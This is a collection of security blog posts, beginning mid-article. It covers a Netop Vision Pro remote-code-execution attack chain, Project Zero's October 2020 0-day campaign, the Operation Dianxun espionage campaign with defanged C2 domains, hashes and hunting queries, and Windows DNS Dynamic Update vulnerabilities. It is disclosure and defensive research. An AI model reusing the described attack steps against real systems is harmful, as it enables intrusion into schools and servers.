To validate this, we created several test files using an admin account and restricted the permissions to disallow the student from modifying or reading the test files. We proceeded to load the teacher suite, and through an MChat session confirmed we were able to read, write, and delete these files. This was an exciting discovery; however, if the attacker is limited to the predetermined “work directory” they would be limited in the effect they could have on the remote target. To investigate if we could change the “work directory” we began digging around in the teacher suite. Hidden in a few layers of menus (Figure 20) we found that a teacher can indeed set the remote student’s “work directory” and update this remotely. Knowing we can easily emulate any teacher’s command means that we could modify the “work directory” anywhere on the student system. Based on this, an attacker leveraging this flaw could have System access to modify any file on the remote PC.

Figure 20: Changing the remote student path from a teacher’s client

Reversing MChat Network Traffic

Now that we knew that the teacher could overwrite any file on the system, including system executables, we wanted to automate this attack and add it to our Python script. By automating this we want to showcase how attackers can use issues like this to create tools and scripts that have real world impacts. For a chat session to begin, we had to initiate the 11-packet handshake we previously discussed. Once the student connected to our attack machine, we needed to send a request to start a chat session with the target student. This request would make the student respond using TCP, yet this time, on a separate port, initiating an MChat seven-packet handshake. This required us to reverse engineer this new handshake format in a similar approach as described earlier. Unlike the first handshake, the MChat handshake had a single unique identifier for each session, and after testing, it was determined that the ID could be hardcoded with a static value without any negative effects.

Finally, we wanted to overwrite a file that we could ensure would be executed with System privileges. With the successful MChat handshake complete we needed to send a packet that would change the “work directory” to that of our choosing. Figure 21 shows the packet as a Scapy layer used to change the work directory on the student’s PC. The Netop plugin directory was a perfect target directory to change to since anything executed from this directory would be executed as System.

Figure 21: Change working directory on the student PC

The last step in gaining System-level execution was to overwrite and execute one of the plugins with a “malicious” binary. Through testing we discovered that if the file already exists in the same directory, the chat application is smart enough to not overwrite it, but instead adds a number to the filename. This is not what we wanted since the original plugin would get executed instead of our “malicious” one. This meant that we had to also reverse engineer a packet containing commands that are used to delete files. The Scapy layer used to delete a file and save a new one is shown in Figure 22.

Figure 22: Python Scapy layers to “delete” (MChatPktDeleteFile)  and “write” (MChatPkt6) files

With these Scapy layers we were able to replace the target plugin with a binary of our choosing, keeping the same name as the original plugin. We chose the “SSView.exe” plugin, which is a plugin used to show screenshots on the student’s computer. To help visualize this entire process please reference Figure 23.

Figure 23: An attack flow using the MChat plugin to overwrite an executable

Now that the SSView.exe plugin has been overwritten, triggering this plugin will execute our attacker-supplied code. This execution will inherit the Netop System privileges, and all can be conducted from an unauthenticated remote attack vector.

Impact

It is not hard to imagine a scenario where a culmination of these issues can lead to several negative outcomes. The largest impact being remote code execution of arbitrary code with System privileges from any device on the local network. This scenario has the potential to be wormable, meaning that the arbitrary binary that we run could be designed to seek out other devices and further the spread. In addition, if the “Open Enrollment” option for a classroom is configured, the Netop Vision Pro student client broadcasts its presence on the network every few seconds. This can be used to an attacker’s advantage to determine the IP addresses of all the students connected on the local network. As seen in Figure 24, our Python script sniffed for student broadcast messages for 5 seconds and found all three student computers on the same network. Because these broadcast messages are sent out to the entire local network, this could very well scale to an entire school system.

Figure 24: Finding all students on the local network.

With a list of computers running the student software, an attacker can then issue commands to each one individually to run arbitrary code with System privileges. In the context of hybrid and e-learning it is important to remember that this software on the student’s computer doesn’t get turned off. Because it is always running, even when not in use, this software assumes every network the device connects to could have a teacher on it and begins broadcasting its presence. An attacker doesn’t have to compromise the school network; all they need is to find any network where this software is accessible, such as a library, coffee shop, or home network. It doesn’t matter where one of these student’s PCs gets compromised as a well-designed malware could lay dormant and scan each network the infected PC connects to, until it finds other vulnerable instances of Netop Vision Pro to further propagate the infection.

Once these machines have been compromised the remote attacker has full control of the system since they inherit the System privileges. Nothing at this point could stop an attacker running as System from accessing any files, terminating any process, or reaping havoc on the compromised machine. To elaborate on the effects of these issues we can propose a few scenarios. An attacker could use the discoverability of these machines to deploy ransomware to all the school computers on the network, bringing the school or entire school district to a standstill. A stealthier attacker could silently install keylogging software and monitor screenshots of the students which could lead to social media or financial accounts being compromised. Lastly, an attacker could monitor webcams of the students, bridging the gap from compromised software to the physical realm. As a proof of concept, the video below will show how an attacker can put CVE-2021-27195 and CVE-2021-27193 together to find, exploit, and monitor the webcams of each computer running Netop Vision Pro.

Secure adaptation of software is much easier to achieve when security is baked in from the beginning, rather than an afterthought. It is easy to recognize when software is built for “safe” environments. While Netop Vision Pro was never intended to be internet-facing or be brought off a managed school network, it is still important to implement basic security features like encryption. While designing software one should not assume what will be commonplace in the future. For instance, when this software was originally developed the concept of remote learning or hybrid learning was a far-out idea but now seems like it will be a norm. When security decisions are integrated from inception, software can adapt to new environments while keeping users better protected from future threats.

Disclosure and Recommended Mitigations

We disclosed all these findings to Netop on December 11, 2020 and heard back from them shortly after. Our disclosure included recommendations for implementing encryption of all network traffic, adding authentication, and verification of teachers to students, and more precise packet parsing filters. In Netop Vision Pro 9.7.2, released in late February, Netop has fixed the local privilege escalations, encrypted formerly plaintext Windows credentials, and mitigated the arbitrary read/writes on the remote filesystem within the MChat client. The local privilege escalations were fixed by running all plugins as the student and no longer as System. This way, the “Save as” buttons are limited to the student’s account. The Windows credentials are now encrypted using RC4 before being sent over the network, preventing eavesdroppers from gathering account credentials. Lastly, since all the plugins are running as the student, the MChat client can no longer delete and replace system executables which successfully mitigates the attack shown in the impact section. The network traffic is still unencrypted, including the screenshots of the student computers but Netop has assured us it is working on implementing encryption on all network traffic for a future update. We’d like to recognize Netop’s outstanding response and rapid development and release of a more secure software version and encourage industry vendors to take note of this as a standard for responding to responsible disclosures from industry researchers.

The post Netop Vision Pro – Distance Learning Software is 20/20 in Hindsight appeared first on McAfee Blog.

In-the-Wild Series: October 2020 0-day discovery

By: Ryan
18 March 2021 at 16:45

Posted by Maddie Stone, Project Zero

In October 2020, Google Project Zero discovered seven 0-day exploits being actively used in-the-wild. These exploits were delivered via "watering hole" attacks in a handful of websites pointing to two exploit servers that hosted exploit chains for Android, Windows, and iOS devices. These attacks appear to be the next iteration of the campaign discovered in February 2020 and documented in this blog post series.

In this post we are summarizing the exploit chains we discovered in October 2020. We have already published the details of the seven 0-day vulnerabilities exploited in our root cause analysis (RCA) posts. This post aims to provide the context around these exploits.

What happened

In October 2020, we discovered that the actor from the February 2020 campaign came back with the next iteration of their campaign: a couple dozen websites redirecting to an exploit server. Once our analysis began, we discovered links to a second exploit server on the same website. After initial fingerprinting (appearing to be based on the origin of the IP address and the user-agent), an iframe was injected into the website pointing to one of the two exploit servers. 

In our testing, both of the exploit servers existed on all of the discovered domains. A summary of the two exploit servers is below:

Exploit server #1:

  • Initially responded to only iOS and Windows user-agents
  • Remained up and active for over a week from when we first started pulling exploits
  • Replaced the Chrome renderer RCE with a new v8 0-day (CVE-2020-16009) after the initial one (CVE-2020-15999) was patched
  • Briefly responded to Android user-agents after exploit server #2 went down (though we were only able to get the new Chrome renderer RCE)

Exploit server #2:

  • Responded to Android user-agents
  • Remained up and active for ~36 hours from when we first started pulling exploits
  • In our experience, responded to a much smaller block of IP addresses than exploit server #1

The diagram above shows the flow of a device connecting to one of the affected websites. The device is directed to either exploit server #1 or exploit server #2. The following exploits are then delivered based on the device and browser.

Exploit Server

Platform

Browser

Renderer RCE

Sandbox Escape

Local Privilege Escalation

1

iOS

Safari

Stack R/W via Type 1 Fonts (CVE-2020-27930)

Not needed

Info leak via mach message trailers (CVE-2020-27950)

Type confusion with turnstiles (CVE-2020-27932)

1

Windows

Chrome

Freetype heap buffer overflow

(CVE-2020-15999)

Not needed

cng.sys heap buffer overflow (CVE-2020-17087)

1

Android

** Note: This was only delivered after #2 went down and CVE-2020-15999 was patched.

Chrome

V8 type confusion in TurboFan (CVE-2020-16009)

Unknown

Unknown

2

Android

Chrome

Freetype heap buffer overflow

(CVE-2020-15999)

Chrome for Android head buffer overflow (CVE-2020-16010)

Unknown

2

Android

Samsung Browser

Freetype heap buffer overflow

(CVE-2020-15999)

Chromium n-day

Unknown

All of the platforms employed obfuscation and anti-analysis checks, but each platform's obfuscation was different. For example, iOS is the only platform whose exploits were encrypted with ephemeral keys, meaning that the exploits couldn't be recovered from the packet dump alone, instead requiring an active MITM on our side to rewrite the exploit on-the-fly.

These operational exploits also lead us to believe that while the entities between exploit servers #1 and #2 are different, they are likely working in a coordinated fashion. Both exploit servers used the Chrome Freetype RCE (CVE-2020-15999) as the renderer exploit for Windows (exploit server #1) and Android (exploit server #2), but the code that surrounded these exploits was quite different. The fact that the two servers went down at different times also lends us to believe that there were two distinct operators.

The exploits

In total, we collected:

  • 1 full chain targeting fully patched Windows 10 using Google Chrome
  • 2 partial chains targeting 2 different fully patched Android devices running Android 10 using Google Chrome and Samsung Browser, and
  • RCE exploits for iOS 11-13 and privilege escalation exploit for iOS 13 (though the vulnerabilities were present up to iOS 14.1)

*Note: iOS, Android, and Windows were the only devices we tested while the servers were still active. The lack of other exploit chains does not mean that those chains did not exist.

The seven 0-days exploited by this attacker are listed below. We’ve provided the technical details of each of the vulnerabilities and their exploits in the root cause analyses.

We were not able to collect any Android local privilege escalations prior to exploit server #2 being taken down. Exploit server #1 stayed up longer, and we were able to retrieve the privilege escalation exploits for iOS.

The vulnerabilities cover a fairly broad spectrum of issues - from a modern JIT vulnerability to a large cache of font bugs. Overall each of the exploits themselves showed an expert understanding of exploit development and the vulnerability being exploited. In the case of the Chrome Freetype 0-day, the exploitation method was novel to Project Zero. The process to figure out how to trigger the iOS kernel privilege vulnerability would have been non-trivial. The obfuscation methods were varied and time-consuming to figure out.

Conclusion

Project Zero closed out 2020 with lots of long days analyzing lots of 0-day exploit chains and seven 0-day exploits. When combined with their earlier 2020 operation, the actor used at least 11 0-days in less than a year. We are so thankful to all of the vendors and defensive response teams who worked their own long days to analyze our reports and get patches released and applied.

Operation Diànxùn: Cyberespionage Campaign Targeting Telecommunication Companies

16 March 2021 at 13:00
how to run a virus scan

In this report the McAfee Advanced Threat Research (ATR) Strategic Intelligence team details an espionage campaign, targeting telecommunication companies, dubbed Operation Diànxùn.

In this attack, we discovered malware using similar tactics, techniques and procedures (TTPs) to those observed in earlier campaigns publicly attributed to the threat actors RedDelta and Mustang Panda. While the initial vector for the infection is not entirely clear, we believe with a medium level of confidence that victims were lured to a domain under control of the threat actor, from which they were infected with malware which the threat actor leveraged to perform additional discovery and data collection. We believe with a medium level of confidence that the attackers used a phishing website masquerading as the Huawei company career page to target people working in the telecommunications industry.

We discovered malware that masqueraded as Flash applications, often connecting to the domain “hxxp://update.careerhuawei.net” that was under control of the threat actor. The malicious domain was crafted to look like the legitimate career site for Huawei, which has the domain: hxxp://career.huawei.com. In December, we also observed a new domain name used in this campaign: hxxp://update.huaweiyuncdn.com.

Moreover, the sample masquerading as the Flash application used the malicious domain name “flach.cn” which was made to look like the official web page for China to download the Flash application, flash.cn. One of the main differences from past attacks is the lack of use of the PlugX backdoor. However, we did identify the use of a Cobalt Strike backdoor.

 

By using McAfee’s telemetry, possible targets based in Southeast Asia, Europe, and the US were discovered in the telecommunication sector. We also identified a strong interest in GermanVietnamese and India telecommunication companies. Combined with the use of the fake Huawei site, we believe with a high level of confidence that this campaign was targeting the telecommunication sector. We believe with a moderate level of confidence that the motivation behind this specific campaign has to do with the ban of Chinese technology in the global 5G roll-out.

 

Activity linked to the Chinese group RedDelta, by peers in our industry, has been spotted in the wild since early May 2020. Previous attacks have been described targeting the Vatican and religious organizations.

In September 2020, the group continued its activity using decoy documents related to Catholicism, Tibet-Ladakh relations and the United Nations General Assembly Security Council, as well as other network intrusion activities targeting the Myanmar government and two Hong Kong universities. These attacks mainly used the PlugX backdoor using DLL side loading with legitimate software, such as Word or Acrobat, to compromise targets.

While external reports have given a new name to the group which attacked the religious institutions, we believe with a moderate level of confidence, based on the similarity of TTPs, that both attacks can be attributed to one known threat actor: Mustang Panda.

Coverage and Protection

We believe the best way to protect yourself from this type of attack is to adopt a multi-layer approach including MVISION Insights, McAfee Web Gateway, MVISION UCE and MVISION EDR.

MVISION Insights can play a key role in risk mitigation by proactively collecting intelligence on the threat and your exposure.

McAfee Web Gateway and MVISION UCE provide multi-layer web vector protection with URL Reputation check, SSL decryption, and malware emulation capabilities for analyzing dangerous active Web content such as Flash and DotNet. MVISION UCE also includes the capabilities of Remote Browser Isolation, the only solution that can provide 100% protection during web browsing.

McAfee Endpoint Security running on the target endpoint protects against Operation Dianxun with an array of prevention and detection techniques. ENS Threat Prevention and ATP provides both signature and behavioral analysis capability which proactively detects the threat. ENS also leverages Global Threat Intelligence which is updated with known IoCs. For DAT based detections, the family will be reported as Trojan-Cobalt, Trojan-FSYW, Trojan-FSYX, Trojan-FSZC and CobaltStr-FDWE.

As the last phase of the attack involves creating a backdoor for remote control of the victim via a Command and Control Server and Cobalt Strike Beacon, the blocking features that can be activated on a Next Generation Intrusion Prevention System solution such as McAfee NSP are important, NSP includes a Callback Detection engine and is able to detect and block anomalies in communication signals with C2 Servers.

MVISION EDR can proactively identify persistence and defense evasion techniques. You can also use MVISION EDR to search the indicators of compromise in Real-Time or Historically (up to 90 days) across enterprise systems.

Learn more about Operation Diànxùn, including Yara & Mitre ATT&CK techniques, by reading our technical analysis and Defender blog. 

Summary of the Threat

We assess with a high level of confidence that:

  • Recent attacks using TTPs similar to those of the Chinese groups RedDelta and Mustang Panda have been discovered.
  • Multiple overlaps including tooling, network and operating methods suggest strong similarities between Chinese groups RedDelta and Mustang Panda.
  • The targets are mainly telecommunication companies based in Southeast Asia, Europe, and the US. We also identified a strong interest in German and Vietnamese telecommunication companies.

We assess with a moderate level of confidence that:

  • We believe that this espionage campaign is aimed at stealing sensitive or secret information in relation to 5G technology.

PLEASE NOTE:  We have no evidence that the technology company Huawei was knowingly involved in this Campaign.

McAfee Advanced Threat Research (ATR) is actively monitoring this threat and will update as its visibility into the threat increases.

The post Operation Diànxùn: Cyberespionage Campaign Targeting Telecommunication Companies appeared first on McAfee Blog.

McAfee Defender’s Blog: Operation Dianxun

16 March 2021 at 13:00

Operation Dianxun Overview

In a recent report the McAfee Advanced Threat Research (ATR) Strategic Intelligence team disclosed an espionage campaign, targeting telecommunication companies, named Operation Diànxùn.

The tactics, techniques and procedures (TTPs) used in the attack are like those observed in earlier campaigns publicly attributed to the threat actors RedDelta and Mustang Panda. Most probably this threat is targeting people working in the telecommunications industry and has been used for espionage purposes to access sensitive data and to spy on companies related to 5G technology.

While the initial vector for the infection is not entirely clear, the McAfee ATR team believes with a medium level of confidence that victims were lured to a domain under control of the threat actor, from which they were infected with malware which the threat actor leveraged to perform additional discovery and data collection. It is our belief that the attackers used a phishing website masquerading as the Huawei company career page.

Defensive Architecture Overview

So, how can I defend my organization as effectively as possible from an attack of this type, which involves different techniques and tactics and potential impact? To answer this question, we believe it is necessary to have a multi-layer approach and analyze the various steps, trying to understand the best way to deal with them one by one with an integrated security architecture. Below is a summary of how McAfee’s Security Architecture helps you to protect against the tactics and techniques used in Operation Dianxun.

The goal is to shift-left and block or identify a threat as soon as possible within the Kill Chain to limit any further damage. Shifting-left starts with MVISION Insights, which proactively collects intelligence on the threat and provides details on the indicators of compromise and the MITRE techniques used in the attack. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 800+ Advanced Persistent Threat and Cyber Crime campaigns as researched by McAfee’s ATR team, including Operation Dianxun, sharing a quick summary of the threat, providing external resources, and a list of known indicators such as files, URLs, or IP addresses.

As a threat intelligence analyst or responder, you can drill down into the MVISION Insights interface to gather more specific information on the Operation Dianxun campaign, verify the associated severity, check for geographical prevalence and links to other sources of information. Moreover, MVISION Insights provides useful information like the McAfee products coverage with details of minimum AMCore version; this kind of information is handy to verify actual defensive capabilities within the enterprise and could raise the risk severity in case of weak coverage.

Additional information is available to further investigate on IoCs and MITRE Techniques associated to the campaign. IoCs can be also exported in STIX2 format to be ingested in other tools for automating responses or updating defenses.

The first step ahead of identification is to ensure our architecture can stop or identify the threat in the initial access vector. In this case, the initial delivery vector is a phishing attack so the web channel is therefore fundamental in the initial phase of the infection. McAfee Web Gateway and MVISION UCE provide multi-layer web vector protection with URL Reputation check, SSL decryption, and malware emulation capabilities for analyzing dangerous active Web content.

MVISION UCE also includes the capabilities of Remote Browser Isolation (RBI), the only solution that can provide 100% protection during web browsing. Remote Browser Isolation is indeed an innovative new technology that contains web browsing activity inside an isolated cloud environment in order to protect users from any malware or malicious code that may be hidden on a website. RBI technology provides the most powerful form of web threat protection available, eliminating the opportunity for malicious code to even touch the end user’s device.

The green square around the page means that the web content is isolated by RBI and provided safely through a rendered dynamic visual stream which delivers full browsing experience without risk of infection.

The second phase of exploitation and persistence results from execution on the victim endpoint of Flash-based artifacts malware and, later, DotNet payload. McAfee Endpoint Security running on the target endpoint protects against Operation Dianxun with an array of prevention and detection techniques. ENS Threat Prevention and ATP provides both signature and behavioral analysis capability which proactively detects the threat. ENS also leverages Global Threat Intelligence which is updated with known IoCs. For DAT based detections, the family will be reported as Trojan-Cobalt, Trojan-FSYW, Trojan-FSYX, Trojan-FSZC and CobaltStr-FDWE.

While the execution of the initial fake Flash installer acts mainly like a downloader, the DotNet payload contains several functions and acts as a utility to further compromise the machine. This is a tool to manage and download backdoors to the machine and configure persistence. Thus, the McAfee Endpoint Security Adaptive Threat Protection machine-learning engine triggers detection and blocks execution on its behavior-based analysis.

The last phase of the attack involves creating a backdoor for remote control of the victim via a Command and Control Server and Cobalt Strike Beacon. In this case, in addition to the detection capabilities present at the McAfee Endpoint Security level, detections and blocking features that can be activated on a Next Generation Intrusion Prevention System solution such as McAfee NSP are important. NSP includes a Callback Detection engine and is able to detect and block anomalies in communication signals with C2 Servers.

Investigation and Threat Hunting with MVISION EDR

We demonstrated above how a well defended architecture can thwart and counteract such an attack in each single phase. McAfee Web Gateway and MVISON Unified Cloud Edge can stop the initial entry vector, McAfee Endpoint Protection Platform can block the dropper execution or disrupt the following malicious activities but, only by using MVISION EDR, can you get extensive visibility on the full kill chain.

On MVISION EDR we have the threat detection on the monitoring dashboard for the two different stages and processes of the attack.

Once alerted, the security analyst can dig into the Process Activity and understand behavior and indicators relative to what happened like:

The initial downloader payload flashplayer_install_cn.exe is executed directly by the user and spawned by svchost.exe.

At first it connects back to hxxp://update.flach.cn registering to the c2 and creates a new executable file, flash.exe, in the Windows/temp folder.

Then the sample checks the time and the geolocalization of the infected machine via a request to http://worldclockapi.com.

Next, it connects back to the fake Huawei website “hxxp:\\update.careerhuawei.net” used for the initial phishing attack.

Finally, to further completion, you can also use MVISION EDR to search the indicators of compromise in Real-Time or Historically (up to 90 days) across the enterprise systems.

Looking for other systems with evidence of connection to the fake Huawei website:

HostInfo hostname, ip_address and NetworkFlow src_ip, proto, time, process, md5, user where NetworkFlow dst_ip equals “8.210.186.138”

Looking for indicators of the initial downloader payload linked to this campaign.

HostInfo and Files name, full_name, create_user_name, sha1, md5, sha256 where Files sha256 equals “422e3b16e431daa07bae951eed08429a0c4ccf8e37746c733be512f1a5a160a3” or Files sha256 equals “8489ee84e810b5ed337f8496330e69d6840e7c8e228b245f6e28ac6905c19f4a ” or Files sha256 equals “c0331d4dee56ef0a8bb8e3d31bdfd3381bafc6ee80b85b338cee4001f7fb3d8c” or Files sha256 equals “89a1f947b96b39bfd1fffd8d0d670dddd2c4d96f9fdae96f435f2363a483c0e1” or Files sha256 equals “b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429” or Files sha256 equals “9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5” or Files sha256 equals “4e7fc846be8932a9df07f6c5c9cbbd1721620a85c6363f51fa52d8feac68ff47” or Files sha256 equals “0f2e16690fb2ef2b5b4c58b343314fc32603364a312a6b230ab7b4b963160382” or Files sha256 equals “db36ad77875bbf622d96ae8086f44924c37034dd95e9eb6d6369cc6accd2a40d” or Files sha256 equals “8bd55ecb27b94b10cb9b36ab40c7ea954cf602761202546f9b9e163de1dde8eb” or Files sha256 equals “7de56f65ee98a8cd305faefcac66d918565f596405020178aee47a3bd9abd63c” or Files sha256 equals “9d4b4c39106f8e2fd036e798fc67bbd7b98284121724c0f845bca0a6d2ae3999” or Files sha256 equals “ac88a65345b247ea3d0cfb4d2fb1e97afd88460463a4fc5ac25d3569aea42597” or Files sha256 equals “37643f752302a8a3d6bb6cc31f67b8107e6bbbb0e1a725b7cebed2b79812941f” or Files sha256 equals “d0dd9c624bb2b33de96c29b0ccb5aa5b43ce83a54e2842f1643247811487f8d9” or Files sha256 equals “260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b” or Files sha256 equals “e784e95fb5b0188f0c7c82add9a3c89c5bc379eaf356a4d3876d9493a986e343” or Files sha256 equals “a95909413a9a72f69d3c102448d37a17659e46630999b25e7f213ec761db9e81” or Files sha256 equals “b7f36159aec7f3512e00bfa8aa189cbb97f9cc4752a635bc272c7a5ac1710e0b” or Files sha256 equals “4332f0740b3b6c7f9b438ef3caa995a40ce53b3348033b381b4ff11b4cae23bd”

Look back historically for domain name resolution and network connection to the involved indicators.

Summary

To defeat targeted threat campaigns like Operation Dianxun, defenders must build an adaptive and integrated security architecture which will make it harder for threat actors to succeed and increase resilience in the business. This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to Operation Dianxun and attackers using similar techniques.

McAfee ATR is actively monitoring this campaign and will continue to update McAfee Insights and its social networking channels with new and current information. Want to stay ahead of the adversaries? Check out McAfee Insights for more information.

The post McAfee Defender’s Blog: Operation Dianxun appeared first on McAfee Blog.

ZecOps Selected to Fast Company’s Most Innovative Companies for 2021

9 March 2021 at 19:05
ZecOps Selected to Fast Company’s Most Innovative Companies for 2021

The mobile security startup is among the top-ranked companies in the Security category

ZecOps, the automated platform for discovering mobile cyber threats has been named to Fast Company’s prestigious annual list of the World’s Most Innovative Companies for 2021. The Fast Company list honors businesses that have demonstrated the unique ability to service customers in rapidly evolving industries, like cybersecurity, with new and novel approaches.

“This is a major milestone for ZecOps, and confirms what our customers already know – that ZecOps mobile threat discovery is the most efficient way to evaluate the integrity of smartphones,” said Zuk Avraham, Co-Founder & CEO of ZecOps. “We’re grateful to Fast Company for acknowledging our innovative approach to discovering sophisticated attacks on mobile devices.”

ZecOps has seen tremendous customer growth in 2020, a time during which the company discovered several highly publicized vulnerabilities. These include a “0-click” vulnerability on the default iOS Mail app, attacks on journalists in the Middle East, and others. ZecOps is used by world-leaders, governments, leading enterprises, and targeted individuals concerned with discovering cyberattacks on mobile devices and performing threat hunting.

“In a year of unprecedented challenges, the companies on this list exhibit fearlessness, ingenuity, and creativity in the face of crisis,” said Fast Company Deputy Editor David Lidsky, who oversaw the issue with Senior Editor Amy Farley.

ABOUT ZECOPS

ZecOps is the world’s most powerful platform to discover and analyze mobile cyber attacks. Used by governments, enterprises, and individuals worldwide, ZecOps provides a realistic and scalable approach to mobile threat hunting. ZecOps enables automated discovery of 0-day attacks and Advanced Persistent Threats (APTs), delivering anti- cyber espionage analysis within minutes. Headquartered in San Francisco, ZecOps was co-founded by Zuk Avraham, a security researcher and serial entrepreneur who previously founded Zimperium. 

ABOUT FAST COMPANY

Fast Company is the only media brand fully dedicated to the vital intersection of business, innovation, and design, engaging the most influential leaders, companies, and thinkers on the future of business. The editor-in-chief is Stephanie Mehta. Headquartered in New York City, Fast Company is published by Mansueto Ventures LLC, along with our sister publication Inc., and can be found online at www.fastcompany.com.

Media inquiries
[email protected]

Seven Windows Wonders – Critical Vulnerabilities in DNS Dynamic Updates

9 March 2021 at 18:13
how to run a virus scan

Overview

For the March 2021 Patch Tuesday, Microsoft released a set of seven DNS vulnerabilities. Five of the vulnerabilities are remote code execution (RCE) with critical CVSS (Common Vulnerability Scoring Standard) scores of 9.8, while the remaining two are denial of service (DoS). Microsoft shared detection guidance and proofs of concept with MAPP members for two of the RCE vulnerabilities, CVE-2021-26877 and CVE-2021-26897, which we have confirmed to be within the DNS Dynamic Zone Update activity. Microsoft subsequently confirmed that all seven of the DNS vulnerabilities are within the Dynamic Zone Update activity.

We confirmed from our analysis of CVE-2021-26877 and CVE-2021-26897, in addition to further clarification from Microsoft, that none of the five DNS RCE vulnerabilities are wormable.

RCE vulnerabilities
CVE-2021-26877, CVE-2021-26897 (exploitation more likely)
CVE-2021-26893, CVE-2021-26894, CVE-2021-26895 (exploitation less likely)

DoS vulnerabilities
CVE-2021-26896, CVE-2021-27063 (exploitation less likely)

A critical CVSS score of 9.8 means that an attacker can remotely compromise a DNS server with no authentication or user interaction required. Successful exploitation of these vulnerabilities would lead to RCE on a Primary Authoritative DNS server. While CVSS is a great tool for technical scoring, it needs to be taken in context with your DNS deployment environment to understand your risk which we discuss below.

We highly recommend you urgently patch your Windows DNS servers if you are using Dynamic Updates. If you cannot patch, we recommend you prioritize evaluating your exposure. In addition, we have developed signatures for CVE-2021-26877 and CVE-2021-26897 which are rated as “exploitation more likely” by Microsoft.

DNS Dynamic Updates, Threats and Deployment

Per the NIST “Secure Domain Name System (DNS) Deployment Guide”, DNS threats can be divided into Platform and Transaction Threats. The platform threats can be classed as either DNS Host Platform or DNS Software Threats. Per Table 1 below, Dynamic Update is one of the four DNS Transaction types. The seven DNS vulnerabilities are within the Dynamic Update DNS transaction feature of Windows DNS Software.

Table 1: DNS Transaction Threats and Security Objectives

The DNS Dynamic Zone Update feature allows a client to update its Resource Records (RRs) on a Primary DNS Authoritative Server, such as when it changes its IP address; these clients are typically Certificate Authority (CA) and DHCP servers. The Dynamic Zone Update feature can be deployed on a standalone DNS server or an Active Directory (AD) integrated DNS server. Best practice is to deploy DNS integrated with (AD) so it can avail itself of Microsoft security such as Kerberos and GSS-TSIG.

When creating a Zone on a DNS server there is an option to enable or disable DNS Dynamic Zone Updates. When DNS is deployed as a standalone server, the Dynamic Zone Update feature is disabled by default but can be enabled in secure/nonsecure mode. When DNS is deployed as AD integrated, the Dynamic Zone Update feature is enabled in secure mode by default.

Secure Dynamic Zone Update verifies that all RR updates are digitally signed using GSS-TSIG from a domain-joined machine. In addition, more granular controls can be applied on what principal can perform Dynamic Zone Updates.

Insecure Dynamic Zone Update allows any machine to update RRs without any authentication (not recommended).

Attack Pre-requisites

  • AD Integrated DNS Dynamic Updates (default config of secure updates)
    • A DNS server must accept write requests to at least one Zone (typically a primary DNS server only allows Zone RR writes but there are misconfigurations and secondary servers which can negate this)
    • Domain-joined machine
    • Attacker must craft request to DNS server and supply a target Zone in request
  • Standalone DNS Server (secure/nonsecure config)
    • A DNS server must accept write requests to at least one Zone (typically a primary DNS server only allows Zone RR writes but there are misconfigurations and secondary servers which can negate this) 
    • Attacker must craft request to DNS server and supply a target Zone in request 

From a Threat Model perspective, we must consider Threat Actor motives, capabilities, and access/opportunity, so you can understand the risk relative to your environment. We are not aware of any exploitation in the wild of these vulnerabilities so we must focus on the access capabilities, i.e., close the door on the threat actor opportunity. Table 2 summarizes DNS Dynamic Update deployment models relative to the opportunity these RCE vulnerabilities present.

Table 2: Threat Actor access relative to deployment models and system impact

The highest risk deployment would be a DNS server in Dynamic Update insecure mode exposed to the internet; this is not best security practice and based on our experience, we do not know of a use case for such deployment.

Deploying AD integrated DNS Dynamic Update in secure mode (default) mitigates the risk of an unauthenticated attacker but still has a high risk of a compromised domain computer or trusted insider being able to achieve RCE.

Vulnerability Analysis

All the vulnerabilities are related to the processing of Dynamic Update packets in dns.exe. The goal of our vulnerability analysis, as always for critical industry vulnerabilities, is to ensure we can generate accurate signatures to protect our customers.

Analysis of CVE-2021-26877

  • The vulnerability is triggered when a Zone is updated with a TXT RR that has a “TXT length” greater than “Data length” per Wireshark below:

Figure 1: Wireshark view of exploit packet classifying the DNS packet as malformed

  • The vulnerability is in the File_PlaceStringInFileBuffer() function as you can see from WinDbg output below:

Figure 2: WinDbg output of crash while attached to dns.exe

  • The vulnerability is an Out of bounds (OOB) read on the heap when the “TXT length” field of DNS Dynamic Zone Update is not validated relative to “Data length”. This could allow an attacker to read up to 255 bytes of memory. Microsoft states this vulnerability can be used to achieve RCE; this would require a further OOB write primitive.
  • The memory allocation related to the OOB read is created within the CopyWireRead() function. Relevant pseudo code for this function is below:

  • The File_PlaceStringInFileBuffer() function copies data from TXT_data allocated from CopyWireRead() function previously. However, the UpdateRR->TXT length value from Wireshark is not validated and used to copy from *UpdateRR->Data length. Because UpdateRR->TXT length is not validated relative to UpdateRR->Data length it results in a OOB read from heap memory.

Analysis of CVE-2021-26897

  • The vulnerability is triggered when many consecutive Signature RRs Dynamic Updates are sent
  • The vulnerability is an OOB write on the heap when combining the many consecutive Signature RR Dynamic Updates into base64-encoded strings before writing to the Zone file
  • Microsoft states this vulnerability can be used to achieve RCE

Figure 3: Packet containing many consecutive Signature RR dynamic updates. Pay special attention to the length field of the reassembled flow.

Exploitability

Exploiting these vulnerabilities remotely requires both read and write primitives in addition to bypassing Control Flow Guard (CFG) for execution. The DNS protocol has significant remote unauthenticated attack surface to facilitate generating such primitives which has been researched as part of CVE-2020-1350 (SigRed). In addition, per the RR_DispatchFuncForType() function, there are read and write functions as part of its dispatch table.

Figure 4: Path of DNS RR update packet

Figure 5: Dispatch functions for reading and writing

Mitigations

Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to audit your DNS deployment configuration to limit Dynamic Zone Updates to trusted servers only. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of both vulnerabilities, CVE-2021-26877 and CVE-2021-26897 

NSP Attack ID: 0x4030e700 – DNS: Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-26877)
NSP Attack ID: 0x4030e800 – DNS: Windows DNS Server Remote Code Execution Vulnerability (CVE-2021-26897)

In addition, NIST “Secure Domain Name System (DNS) Deployment Guide” provides best practices for securing DNS deployment such as:

  1. DNS Primary Server should restrict clients that can update RRs
  2. Secure Dynamic Update using GSS-TSIG
  3. Secondary DNS Server Dynamic Update forwarding restrictions using GSS-TSIG
